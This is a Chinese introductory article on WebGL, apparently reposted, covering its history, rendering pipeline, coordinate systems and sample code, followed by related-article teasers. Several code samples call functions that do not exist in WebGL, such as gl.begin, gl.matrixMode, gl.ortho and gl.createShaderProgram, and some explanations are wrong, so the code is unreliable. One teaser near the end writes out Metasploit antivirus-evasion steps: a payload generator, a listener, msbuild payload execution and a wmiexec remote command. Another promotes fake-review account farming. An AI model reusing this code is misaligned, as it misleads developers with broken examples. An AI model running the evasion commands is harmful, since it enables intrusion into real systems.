WebGL 入门:开启三维网页图形的新篇章(上)

news2024/12/25 9:52:45

一、引言

介绍 WebGL 的背景和意义

一、背景

WebGL 是一种 JavaScript API,用于在网页上呈现三维图形。

它是在 2009 年由 Khronos Group 提出的,并于 2011 年成为 W3C 的标准。

在 WebGL 出现之前,网页上的三维图形主要是通过插件(如 Flash)或使用专用的应用程序来实现的。这些方法通常需要用户下载和安装额外的软件,并且在不同的浏览器和操作系统上可能存在兼容性问题。

WebGL 的出现解决了这些问题,它允许开发人员使用 JavaScript 在网页上直接绘制三维图形,而无需任何插件。WebGL 基于 OpenGL ES 2.0 规范,并且可以利用 GPU 来加速图形渲染。

二、意义

WebGL 的出现使得在网页上创建复杂的三维图形变得更加容易和普及。它为开发人员提供了一个跨平台的、标准化的 API,使得他们可以创建各种类型的三维应用程序,如游戏、数据可视化、虚拟现实等。

WebGL 还为 Web 应用程序带来了更好的性能和用户体验。通过利用 GPU 加速,WebGL 可以实现更加流畅的动画和交互,并且可以减少 CPU 的负载。

此外,WebGL 还为 Web 开发人员提供了更多的创作可能性。它允许开发人员创建更加生动、引人入胜的用户界面,从而吸引更多的用户。

简述 WebGL 的优势和应用场景

一、优势

  1. 跨平台:WebGL 可以在各种现代浏览器上运行,无需安装额外的插件或软件。

  2. 性能:WebGL 利用 GPU 进行图形渲染,提供了出色的性能和流畅的动画效果。

  3. 可视化:WebGL 可以用于创建各种类型的可视化应用程序,如数据可视化、科学可视化等。

  4. 互动性:WebGL 支持交互性,用户可以通过鼠标、触摸等方式与三维场景进行互动。

  5. 易于学习:WebGL 基于 JavaScript 编程语言,对于有 JavaScript 基础的开发人员来说,学习曲线相对较低。

二、应用场景

  1. 游戏开发:WebGL 可用于创建各种类型的网页游戏,提供丰富的图形效果和交互体验。

  2. 数据可视化:WebGL 可以将复杂的数据以三维图形的形式展示出来,帮助用户更好地理解和分析数据。

  3. 虚拟现实:WebGL 可以用于创建虚拟现实应用程序,让用户在网页上体验沉浸式的虚拟环境。

  4. 增强现实:WebGL 可以与增强现实技术结合,为用户提供更加丰富的增强现实体验。

  5. 教育:WebGL 可以用于教育领域,创建可视化的教学内容,帮助学生更好地理解抽象的概念。

二、WebGL 的基础知识


图形渲染管道

图形渲染管道是 WebGL 中用于将三维模型渲染到屏幕上的一系列步骤。它包括顶点着色器、片段着色器、光栅化等阶段。

WebGL是一种在浏览器中进行3D渲染的API,它通过WebGL API将图形渲染的任务交给GPU处理,从而提高渲染速度。

WebGL的图形渲染管道主要包括以下几个部分:

  • (1)Vertex Shader(顶点着色器):顶点着色器负责对顶点进行变换和着色,它将顶点数据传递给片段着色器。

  • (2)Fragment Shader(片段着色器):片段着色器负责对像素进行着色,它接收顶点着色器传递的顶点数据,计算出像素的颜色值,并将其输出到屏幕上。

  • (3)Shader Program(着色器程序):着色器程序是将顶点着色器和片段着色器组合在一起的一个程序,它负责将顶点数据传递给着色器进行处理,并将处理后的结果输出到屏幕上。

  • (4)Vertex Buffer Object(顶点缓冲对象):顶点缓冲对象是将顶点数据存储在GPU的内存中,它将顶点数据传递给顶点着色器进行处理。

  • (5)Index Buffer Object(索引缓冲对象):索引缓冲对象是将索引数据存储在GPU的内存中,它负责将顶点数据传递给片段着色器进行处理。

  • (6)Texture(纹理):纹理是将图像或其他纹理映射到三维模型上的一个过程,它可以在三维模型上形成光学效果,使三维模型更加逼真。

坐标系统和变换

WebGL 使用三维坐标系统来表示物体的位置和方向。

开发人员可以使用平移、旋转、缩放等变换操作来改变物体的坐标。

WebGL中的坐标系统主要包括世界坐标系、视口坐标系和像素坐标系。

  • (1)世界坐标系:世界坐标系是三维空间中的坐标系,它包含了三维空间中的所有点。

  • (2)视口坐标系:视口坐标系是将世界坐标系中的点映射到屏幕上的坐标系,它包含了屏幕上可见的坐标范围。

  • (3)像素坐标系:像素坐标系是将视口坐标系中的点映射到屏幕上的坐标系,它包含了屏幕上可见的像素位置。

坐标变换是将世界坐标系中的点映射到其他坐标系的过程,它包括缩放、旋转和平移等操作。

三维模型和纹理

WebGL支持多种三维模型格式,如OBJ、GLTF、FBX等。

三维模型由顶点和纹理组成,它包含了三维空间中的所有点,以及这些点上的纹理信息。

三维模型是 WebGL 中用于表示物体形状的基本单位。开发人员可以使用三角形网格来构建三维模型,并使用纹理来为模型添加细节。

光照和材质

WebGL支持多种光照和材质效果,如漫反射、镜面反射、高光等。光照和材质可以将三维模型上的点映射到不同的颜色和光照效果上,使三维模型更加逼真和立体。

光照和材质是 WebGL 中用于模拟物体表面外观的重要概念。开发人员可以使用各种类型的光源来照亮物体,并使用材质来定义物体的反射率、透明度等属性。

以上是 WebGL 的一些基础知识,对于深入了解 WebGL 的开发人员来说,还需要进一步学习高级特性和最佳实践。

三、使用 WebGL 进行开发


JavaScript 与 WebGL 的交互

在 WebGL 中,JavaScript 是主要的编程语言。通过 JavaScript,开发人员可以与 WebGL 上下文进行交互,绘制图形、设置属性等。

WebGL 是一个 JavaScript API,它允许开发者使用 HTML5 canvas 元素在浏览器中渲染 3D 图形。为了在浏览器中使用 WebGL,需要先创建一个 canvas 元素,然后使用 JavaScript 获取它的上下文,最后使用上下文调用 WebGL API 进行 3D 渲染。

以下是使用 JavaScript 获取 WebGL 上下文的示例代码:

var canvas = document.getElementById("myCanvas");var gl = canvas.getContext("webgl");

其中,canvas 元素是要使用的画布,getContext 方法用于获取 WebGL 上下文。如果 canvas 元素不存在,getContext 方法将返回 null。

获取 WebGL 上下文后,可以使用上下文调用 WebGL API 函数进行 3D 渲染。例如,可以使用 clearColor 函数设置画布的背景色,然后使用 clear 函数清除画布上的内容,最后使用 drawArrays 函数绘制一个三角形。​​​​​​​

gl.clearColor(1.0, 0.0, 0.0, 1.0); // 设置背景色为红色gl.clear(gl.COLOR_BUFFER_BIT); // 清除画布上的内容
// 绘制一个三角形gl.begin(gl.TRIANGLES);gl.vertex3f(-0.5, -0.5, 0.0);gl.vertex3f(0.5, -0.5, 0.0);gl.vertex3f(0.0, 0.5, 0.0);gl.end();

创建基本的 WebGL 应用程序

创建基本的 WebGL 应用程序需要设置 WebGL 上下文、创建渲染器、绘制图形等步骤。

  1. 获取 WebGL 上下文

要使用 WebGL 进行开发,首先需要获取 WebGL 上下文。可以通过以下方式获取 WebGL 上下文:​​​​​​​

var canvas = document.getElementById("myCanvas");var gl = canvas.getContext("webgl");

其中,canvas 是 HTML 元素,用于绘制 3D 图形。getContext 方法将返回一个 WebGL 上下文对象,如果上下文对象不存在,则返回 null

  1. 设置画布大小

获取 WebGL 上下文后,需要设置画布的大小。可以通过以下方式设置画布大小:​​​​​​​

canvas.width = 500;canvas.height = 500;
  1. 设置 WebGL 视口和投影矩阵

设置画布大小后,需要设置 WebGL 视口和投影矩阵。视口决定了在画布上可见的像素范围,而投影矩阵决定了 3D 空间中点如何转换为像素坐标。可以通过以下方式设置视口和投影矩阵:​​​​​​​

gl.viewport(0, 0, canvas.width, canvas.height);gl.matrixMode(gl.PROJECTION);gl.loadIdentity();gl.ortho(0, canvas.width, canvas.height, 0, -1, 1); // 创建透视投影矩阵gl.matrixMode(gl.MODELVIEW);

其中,viewport 方法设置了画布上可见的像素范围,matrixMode 方法设置了当前使用的矩阵模式,loadIdentity 方法将当前矩阵设置为单位矩阵,ortho 方法创建了一个透视投影矩阵。

  1. 绘制 WebGL 图形

获取 WebGL 上下文、设置画布大小和视口后,就可以绘制 WebGL 图形了。可以通过以下方式绘制一个简单的三角形:​​​​​​​

var vertexData = new Float32Array([  -0.5, -0.5, 0.0,   0.5, -0.5, 0.0,   0.0,  0.5, 0.0]);
var indexData = new Uint16Array([   0, 1, 2]);
var vbo = gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER, vbo);gl.bufferData(gl.ARRAY_BUFFER, vertexData, gl.STATIC_DRAW);
var ibo = gl.createBuffer();gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, ibo);gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, indexData, gl.STATIC_DRAW);
gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 0, 0);
gl.drawElements(gl.TRIANGLES, indexData.length, gl.UNSIGNED_SHORT, 0);

其中,vertexData 是顶点数据,indexData 是索引数据,vbo 和 ibo 是顶点和索引缓冲对象,gl.vertexAttribPointer 方法设置了顶点数据的位置,gl.drawElements 方法绘制了三角形。

这是一个简单的 WebGL 应用程序,它创建了一个 WebGL 上下文、设置了画布大小和视口,然后绘制了一个三角形。在实际开发中,可能需要创建更多的 WebGL 对象和绘制更多的图形。

绘制几何图形

WebGL 提供了多种方法来绘制几何图形,如点、线、三角形等。开发人员可以使用这些方法来创建各种形状的图形。

使用 WebGL 进行开发时,通常需要绘制几何图形。以下是一个使用 WebGL 绘制简单几何图形的示例代码:​​​​​​​

// 获取画布元素var canvas = document.getElementById("myCanvas");
// 获取 WebGL 上下文var gl = canvas.getContext("webgl");
// 设置画布大小canvas.width = 500;canvas.height = 500;
// 设置 WebGL 视口和投影矩阵gl.viewport(0, 0, canvas.width, canvas.height);gl.matrixMode(gl.PROJECTION);gl.loadIdentity();gl.ortho(0, canvas.width, canvas.height, 0, -1, 1); // 创建透视投影矩阵gl.matrixMode(gl.MODELVIEW);
// 定义顶点数据var vertices = new Float32Array([   -0.5, -0.5, 0.0,    0.5, -0.5, 0.0,    0.0,  0.5, 0.0]);
// 定义顶点着色器代码var vertexShader = `   attribute vec3 position;   void main() {       gl_Position = vec4(position, 1.0);   }`;
// 定义片段着色器代码var fragmentShader = `   uniform vec4 color;   void main() {       gl_FragColor = color;   }`;
// 创建着色器程序var shaderProgram = gl.createShaderProgram();gl.attachShader(shaderProgram, gl.createShader(gl.VERTEX_SHADER, vertexShader));gl.attachShader(shaderProgram, gl.createShader(gl.FRAGMENT_SHADER, fragmentShader));gl.linkProgram(shaderProgram);
// 设置顶点数据gl.bindBuffer(gl.ARRAY_BUFFER, gl.createBuffer());gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW);
// 设置顶点属性gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 0, 0);
// 绘制图形gl.drawArrays(gl.TRIANGLES, 0, 3);

在这个示例中,我们首先获取了画布元素和 WebGL 上下文,然后设置了画布大小和视口。接着,我们定义了顶点数据、顶点着色器代码、片段着色器代码,并创建了着色器程序。然后,我们创建了顶点缓冲对象并将顶点数据绑定到顶点缓冲对象上。最后,我们设置了顶点属性并将顶点数据传递给着色器程序,最后使用 drawArrays 方法绘制了三角形。

这个示例仅仅是一个简单的示例,实际开发中可能需要绘制更多的几何图形和处理更复杂的顶点数据。

纹理映射和材质设置

纹理映射和材质设置是 WebGL 中用于提高图形真实感的重要技术。开发人员可以使用纹理来为图形添加细节,并通过材质设置来控制图形的外观。

以上是使用 WebGL 进行开发的一些基本步骤,对于深入了解 WebGL 的开发人员来说,还需要进一步学习高级特性和最佳实践。

本文来自:阿里云开发平台

webgl资料分享icon-default.png?t=N7T8https://docs.qq.com/doc/DRmxxaVhpbGJXSGho?u=5295a88d71d8480d971da4e3334ee913

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2044540.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TEMU卖家们如何提高temu店铺排名、权重、流量、采购测评成功率?

一、什么叫做自养号测评? 自养号测评类似于国内的某宝S单,就是通过搭建海外的服务器和IP采用海外真实买家资料来注册、养号、下单。 二、自养号测评有哪些作用? 自养号快速提高产品的排名、权重和销量,可以提升订单量、点赞(rat…

Excel工作表同类数据合并工具

下载地址:https://pan.quark.cn/s/81b1aeb45e4c 在Excel表格中,把多行同类数据合并为一行是件令人无比头痛的事情:首先,你得确定哪几条记录是可合并的同类数据,人工对比多个字段难免顾此失彼挂一漏万;其次&…

【深度学习】【文本LLM】如何使用文本相似度挑选语料?

在GitHub上挑选和优化语料库的开源工具与方法 在GitHub上挑选和优化语料库的开源工具与方法 在数据科学和自然语言处理(NLP)的世界里,拥有一个干净且高质量的语料库是成功的关键。然而,随着数据量的增加,处理和优化这些数据变得尤为重要。幸运的是,GitHub上提供了许多开…

分享一个基于SpringBoot的戏剧戏曲科普平台的设计与实现(源码、调试、LW、开题、PPT)

💕💕作者:计算机源码社 💕💕个人简介:本人 八年开发经验,擅长Java、Python、PHP、.NET、Node.js、Android、微信小程序、爬虫、大数据、机器学习等,大家有这一块的问题可以一起交流&…

汇编语言:loop指令

loop指令是循环指令,在8086CPU中,所有的循环指令都是短转移,其对应的机器指令有2个字节,低8位字节存放的是操作码;高8位字节存放的是转移位移(相对于当前IP的位移),用补码形式表示&a…

C# NetworkStream、ConcurrentDictionary、Socket类、SerialPort、局域网IP 和广域网IP

一、NetworkStream 什么是NetworkStream? NetworkStream 是 .NET Framework 中用于在网络上进行数据传输的流类。它属于System.Net.Sockets 命名空间,并提供了通过网络连接进行读写操作的功能。NetworkStream 主要用于处理从网络套接字(Soc…

input 控制光标所在的位置

需求:鼠标一点击input输入框 就要将焦点至于 输入框的最后面,使用户不能在内容的中间 删除或者修改 const focusEnd (value) > {var inpEl value.target // 获取dom元素console.log(inpEl, LLL);var length value.target.value.length // 获取输入…

【Hot100】LeetCode—48. 旋转图像

目录 1- 思路两次遍历实现(先行,后主对角互换) 2- 实现⭐48. 旋转图像——题解思路 3- ACM 实现 原题连接:48. 旋转图像 1- 思路 两次遍历实现(先行,后主对角互换) 技巧:旋转 90 …

通过反汇编解析crash问题

背景: 用户反馈的问题,有时候我们拿到log,发现有crash问题,有堆栈打印,能看到具体出错的函数,但是无法定位具体出错的行数和内容,这个时候就需要用到反汇编辅助我们定位问题。 反汇编方法: 通过objdump反汇…

一起学习LeetCode热题100道(43/100)

43.验证二叉搜索树(学习) 给你一个二叉树的根节点 root ,判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下: 节点的左子树只包含 小于 当前节点的数。 节点的右子树只包含 大于 当前节点的数。 所有左子树和右子树自身必须也是二叉搜索树。…

spring bean的循环依赖

在Spring框架中,Bean的循环依赖是一个常见的问题,它指的是两个或多个Bean之间通过构造函数、Setter方法或字段注入等方式形成了相互依赖的闭环。Spring框架提供了强大的依赖注入功能,同时也提供了多种机制来处理循环依赖的情况,确…

【SCI论文写作】工程类论文写作(二)引言

写在前面: 🌟 欢迎光临 清流君 的博客小天地,这里是我分享技术与心得的温馨角落。📝 个人主页:清流君_CSDN博客,期待与您一同探索 移动机器人 领域的无限可能。 🔍 本文系 清流君 原创之作&…

护眼灯对眼睛有伤害吗?防止三大禁忌隐患

护眼灯对眼睛有伤害吗?护眼灯是现代生活中非常常见的照明工具,它在家庭和办公场所都得到了广泛应用。然而,随着人们对眼睛健康的关注日益增加,关于护眼灯是否可能对眼睛造成伤害的疑问也随之产生。这些疑问不仅涉及到人们的视力健…

黄晓娟:钱输光了她还伺候你?赵本山:她不伺候谁伺候?

黄晓娟:钱输光了她还伺候你?赵本山:她不伺候谁伺候? --小品《麻将豆腐》(中1)的台词与解说 (接上) 赵本山(饰演大姐夫):诈和了 瞅好啊整不好让…

工作任务紧急程度如何快速区分?

在繁忙的工作中,我们每天都需要处理大量的工作任务。如果不将这些任务仔细区分,就很难保证按时完成所有任务。面对如此多的任务,仅凭脑力很难将它们一一整理和区分。这时,选择一款高效的待办事项管理软件,就成了一个不…

深度学习入门-01

1、安装Anaconda 创建一个虚拟环境,在Anaconda Prompt中创建,环境名称叫做pytorch,使用的python版本是3.10 conda create -n pytorch python3.10在这环境中需要安装的包,选择yes 激活环境: conda activate pytorch如…

排序算法之--插入排序

文章目录 一、简介二、算法思路分析三、算法复杂度分析:3.1、时间复杂度方面:3.2、空间复杂度方面: 四、代码实现: 一、简介 插入排序是一种简单直观的排序算法,‌它的工作原理是通过构建有序序列,‌该算法…

MySQL:查询(万字超详细版)

💎所属专栏: MySQL 💎1. 单表查询 💎1.1 全列查询和指定列查询 全列查询: select * from exam; 在实际开发中不要使用 * 来进行查询,因为数据库会很大,影响效率 指定列查询: se…

低代码开发平台通过钉钉API实现流程管理数据对接

实例背景: CRM项目虽然实现了报价转订单的功能,但是客户还是遇到使用不方便的问题,客户的业务流程中,审核报价的时候是需要提供销售人员与客户的聊天记录截图,这都是在手机上的,电脑操作不方便&#xff0c…

WEB渗透免杀篇-MSF+shellcode免杀

nps_payload >python nps_payload.py正常生成 >msfconsole -r msbuild_nps.rc开启监听 >%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe xx.xml >wmiexec.py <USER>:<PASS><RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framewo…